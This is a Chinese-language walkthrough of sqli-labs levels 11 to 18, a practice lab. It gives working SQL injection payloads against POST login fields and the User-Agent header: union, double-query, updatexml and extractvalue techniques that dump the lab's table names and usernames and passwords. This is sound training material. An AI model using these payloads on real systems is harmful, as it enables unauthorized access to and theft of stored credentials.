Less-11 (基于错误的POST型单引号字符型注入)
打开这个页面,是这样的
在username和password都输入admin,登陆成功,而且上面的post data也已经自动载入输入的表单数据。
当然这一步还可以用burp suite进行抓包,send to repeater
通过修改post的值就可以进行注入
输入uname=admin' and 1=1%23 &passwd=admin&submit=Submit//成功显示
输入uname=admin' and 1=2%23 &passwd=admin&submit=Submit//不能成功显示
说明注入成功,存在报错型注入
2,然后获取它的字段数
输入uname=admin' order by 3%23 &passwd=admin&submit=Submit
输入uname=admin' order by 2%23 &passwd=admin&submit=Submit
所以字段数为2
3.用union联合查询获取数据库名
输入uname=0' union select 1,database()%23 &passwd=admin&submit=Submit
得到数据库名为security
4.获取表名
输入uname=0' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'%23 &passwd=admin&submit=Submit
获取表名为emails,referers,uagents,users
5,获取列名
输入
uname=0' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'%23 &passwd=admin&submit=Submit
6,获取username列和password列的数据
输入
uname=0' union select group_concat(username),group_concat(password) from users%23 &passwd=admin&submit=Submit
bingo
Less-12(基于错误的双引号POST型字符型变形的注入)
直接在下面对话框输入admin admin,成功显示
1,输入uname=admin")%23&passwd=admin&submit=Submit
,成功显示
2,获取字段数
输入uname=admin") order by 2 %23&passwd=admin&submit=Submit
字段数为2
3,获取数据库名
输入uname=2") union select 1,database()%23&passwd=admin&submit=Submit
4,获取表名
输入
uname=2") union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()%23&passwd=admin&submit=Submit
5,获取表里的列
输入
uname=2") union select 1,group_concat(column_name) from information_schema.columns where table_name='users'%23&passwd=admin&submit=Submit
6,获取username,password列的数据
输入
uname=2") union select group_concat(username),group_concat(password) from users%23&passwd=admin&submit=Submit
完成,11,12关,基本都一样,就是前面的闭合方式不同
Less-13(POST单引号变形双注入)
进入页面
1,输入 admin admin
2,可以用’)闭合
输入uname=admin') and 1=1%23&passwd=admin&submit=Submit
,成功
输入uname=admin') and 1=2%23&passwd=admin&submit=Submit
,失败
3,获取字段数、
输入uname=admin') order by 2%23&passwd=admin&submit=Submit
,成功,字段数为2
既然是双注入,我就想到了5,6关
4,获取数据库名
输入uname=0') union select count(*),concat((select database()),floor(rand()*2))a from information_schema.tables group by a# %23&passwd=admin&submit=Submit
(这里%23没用,要用#注释)
5,获取表名
输入uname=1') union select count(*),concat('*',(select table_name from information_schema.tables where table_schema=database() limit 1,1),'*',floor(rand( )*2)) as a from information_schema.tables group by a# &passwd=admin &submit=Submit
这个语句有时候可以显示出来,有时显示不出来,应该是rand()语句的问题吧,不过根据这个还是可以把四个表名获取出来。
6,获取列(以emails表为例)
输入uname=1') union select count(*),concat('*',(select column_name from information_schema.columns where table_name='emails'limit 0,1),'*',floor(rand( )*2)) as a from information_schema.tables group by a# &passwd=admin &submit=Submit
逐个获取,可以看到列有id、email_id,enmmmm就这两个
7.获取列里的数据(以email_id为例)
输入uname=1') union select count(*),concat('*',(select email_id from emails limit 0,1),'*',floor(rand( )*2)) as a from information_schema.tables group by a# &passwd=admin &submit=Submit
逐个获取email_id里的数据,分别为[email protected],[email protected],[email protected],[email protected],[email protected],[email protected],[email protected]完成。
Less-14 (POST单引号变形双注入)
1,获取字段数
输入uname=admin" order by 3%23 &passwd=admin &submit=Submit
输入uname=admin" order by 2%23 &passwd=admin &submit=Submit
2,获取数据库名
输入uname=admin" union select count(*),concat( '*',(select database( )),'*', floor(rand()*2)) a from information_schema.tables group by a%23 &passwd=admin &submit=Submit
感觉这些输入的都差不多,和前面第13关基本一样,为了有点区别,我接下来获取referers表里的内容吧
3,获取表名
输入uname=admin" union select count(*),concat( '*',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'*', floor(rand()*2)) a from information_schema.tables group by a%23 &passwd=admin &submit=Submit
4,获取表里的列(以referers表为例)
输入uname=admin" union select count(*),concat( '*',(select column_name from information_schema.columns where table_name='referers' limit 0,1),'*', floor(rand()*2)) a from information_schema.tables group by a%23 &passwd=admin &submit=Submit
依次获取表里的列,分别为id、referer、ip_address、
5,获取列里的数据(以ip_address为例)
输入uname=admin" union select count(*),concat( '*',(select ip_address from referers limit 0,1),'*', floor(rand()*2)) a from information_schema.tables group by a%23 &passwd=admin &submit=Submit
试了还久,没出现任何数据,应该是这列本身就没有数据吧。
Less-15(基于bool型/时间延迟单引号POST型盲注 )
Less-16(基于bool型/时间延迟单引号POST型盲注)
Less-17 (基于错误的更新查询POST注入)
在页面中打开,是这样的:
1,和以前一样,先获取字段数
输入uname=admin &passwd=admin' order by 1%23&submit=Submit
发现字段数竟然连1都不是
2,输入
uname=admin &passwd=1' and (updatexml (1,concat (0x5c,version(),0x5c),1))%23&submit=Submit
0x5c是\hu’ou’q(反斜杠)huouq
3、获取数据库名
输入uname=admin &passwd=1' and (updatexml (1,concat (0x5c,database(),0x5c),1))%23&submit=Submit
可以得到数据库名为security,我觉得获取数据库名的意义好像不是很大,因为下面可用用database()取代掉。
4,获取表名
输入uname=admin &passwd=1' and (updatexml (1,concat (0x5c,(select table_name from information_schema.tables where table_schema=database() limit 0,1) ,0x5c),1))%23&submit=Submit
依次获取四个表名即可
5,获取表里的列(以uagents为例)
输入
uname=admin &passwd=1' and (updatexml (1,concat (0x5c,(select column_name from information_schema.columns where table_name='uagents' limit 0,1) ,0x5c),1))%23&submit=Submit
依次获取其中的列,有 id、uagent、ip_address、username共四列
6,获取列里的数据,以username 为例
输入
uname=admin &passwd=1' and (updatexml (1,concat (0x5c,(select username from uagents limit 1,1) ,0x5c),1))%23&submit=Submit
输入了好久,发现没有任何数据,猜测这个表里没有数据吧
打开数据库看了看,果真如此。
Less-18 (基于错误的用户代理,头部POST注入)
报错型,单引号,user-agent注入点
进入这个页面是这样的:
打开源码看看:
这次对username、password都做了check,所以就用burpsuite抓包,对user-agent进行修改,注入
又看到 insert语句,他把user-agent插入到了数据库,所以可以从这里下手,而且看的出来是单引号型,接下来开始爆破。
抓包修改user-agent为一下payload就可以了。
输入 admin,admin 之后
先来学习一个函数:
extractvalue():从目标XML中返回包含所查询值的字符串。
EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称,
第二个参数:XPath_string (Xpath格式的字符串)
concat:返回结果为连接参数产生的字符串。
payloaod:
and extractvalue(null,concat(0x7e,(select @@datadir),0x7e));
extractvalue注入的原理:依旧如同updatexml一样,extract的第二个参数要求是xpath格式字符串,而我们输入的并不是。所以报错。
在repeater中打开可以看见上图显示的正是user-agent后面的值
user-agent后面值的构造要根据源码中insert那个语句,符合INSERT INTIO的语法
1,获取数据库名
输入'and extractvalue (1,concat(0x7e,(select database()),0x7e)) and'
2.获取表名
输入
'and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) and'
3,获取列
输入'and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 6,1))) and'
依次获取表里面的列
4,获取列里的数据,以(username 为例)
参考教程:
https://www.cnblogs.com/-zhong/p/10925426.html